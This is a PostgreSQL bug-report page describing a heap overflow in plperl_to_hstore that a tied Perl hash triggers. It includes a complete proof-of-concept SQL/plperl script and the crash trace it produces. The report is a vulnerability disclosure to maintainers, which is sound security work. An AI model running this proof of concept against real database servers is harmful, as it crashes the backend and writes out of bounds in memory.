BUG #19604: Bug 9: `plperl_to_hstore` heap overflow with a tied Perl hash
От
PG Bug reporting form
Тема
BUG #19604: Bug 9: `plperl_to_hstore` heap overflow with a tied Perl hash
Дата
Msg-id
19604-2471ca9f781fa9e0@postgresql.org
Список
The following bug has been logged on the website:
Bug reference: 19604
Logged by: Yuelin Wang
Email address: 1217816127@qq.com
PostgreSQL version: 19beta2
Operating system: Linux (Ubuntu 24.04, x86_64)
Description:
### Summary
In `contrib/hstore_plperl/hstore_plperl.c`, `plperl_to_hstore()` sizes its
`Pairs` array from `hv_iterinit()`. For tied Perl hashes, that count can be
small while `hv_iternext()` yields many keys. Trusted `plperl` code can
return such a hash and write far past the allocated array during hstore
conversion.
### PoC
SQL script:
```sql
CREATE EXTENSION IF NOT EXISTS hstore;
CREATE EXTENSION IF NOT EXISTS plperl;
CREATE EXTENSION IF NOT EXISTS hstore_plperl;
CREATE OR REPLACE FUNCTION vuln_hstore_boom() RETURNS hstore
LANGUAGE plperl
TRANSFORM FOR TYPE hstore
AS $$
package VulnEvil;
sub TIEHASH { bless { n=>0, max=>100000 }, shift }
sub FIRSTKEY { $_[0]{n}=0; "k0" }
sub NEXTKEY { my $s=shift; $s->{n}++; $s->{n}>=$s->{max} ? undef :
"k".$s->{n} }
sub FETCH { "v" }
sub EXISTS { 1 }
package main;
tie my %h, 'VulnEvil';
return \%h;
$$;
SELECT vuln_hstore_boom();
```
### Result
The backend crashes during hstore conversion:
```text
AddressSanitizer: SEGV
plperl_to_hstore
plperl_sv_to_datum
plperl_func_handler
server closed the connection unexpectedly
```
В списке pgsql-bugs по дате отправления
От: PG Bug reporting form
Дата:
От: PG Bug reporting form
Дата: